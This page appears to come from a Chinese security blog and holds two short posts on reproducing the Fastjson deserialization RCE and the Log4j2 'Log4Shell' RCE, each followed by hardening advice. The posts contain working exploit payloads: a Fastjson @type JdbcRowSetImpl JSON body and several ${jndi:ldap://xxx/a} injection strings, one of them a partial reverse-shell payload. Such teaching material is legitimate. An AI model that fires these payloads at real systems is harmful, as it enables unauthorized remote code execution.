Fastjson反序列化RCE漏洞复现

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Fastjson 攻击只在授权测试环境进行。

一、Fastjson 攻击链

1

① 发现 Fastjson → ② AutoType 状态 → ③ JNDI 注入 → ④ 加载恶意类 → ⑤ RCE

二、利用方式

1

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx/a","autoCommit":true}

三、防御加固

1
2


升级到 Fastjson 1.2.68+ · 禁用 AutoType
设置 SecurityManager · WAF 拦截 @type

四、小结

Fastjson 反序列化是 Java 反序列化最经典的 RCE 漏洞。升级到 1.2.68+ 并禁用 AutoType 是核心防御。

Log4j2-RCE漏洞复现与缓解

Sat, 29 Aug 2026 14:00:00 +0800

写在前面：合法学习边界

Log4j2 攻击只在授权测试环境进行。

一、Log4j2 RCE 利用链

1

① 发现 Log4j2 → ② 注入 ${jndi:} → ③ JNDI 查找 → ④ 加载恶意类 → ⑤ RCE

二、漏洞信息

1
2
3


CVE-2021-44228（RCE）· CVE-2021-45046（DoS）
影响：Log4j 2.0 ~ 2.14.1
入口：任何输入经过 Logger 的地方

三、利用方式

1
2
3
4
5
6
7
8


# Tomcat 请求头
User-Agent: ${jndi:ldap://xxx/a}

# HTTP 参数
?id=${jndi:ldap://xxx/a}

# 反弹 Shell
${jndi:ldap://xxx/Command/Base64/$(bash -i ...)}

四、防御加固

1
2
3


升级到 Log4j 2.17.1+
设置 -Dlog4j2.formatMsgNoLookups=true
WAF 拦截 ${jndi 特征

五、小结

Log4Shell 是 Java 生态最严重的漏洞。升级到 2.17.1+ 是唯一有效的防御。

JNDI on SoulJian小站

Fastjson反序列化RCE漏洞复现

写在前面：合法学习边界

一、Fastjson 攻击链

二、利用方式

三、防御加固

四、小结

Log4j2-RCE漏洞复现与缓解

写在前面：合法学习边界

一、Log4j2 RCE 利用链

二、漏洞信息

三、利用方式

四、防御加固

五、小结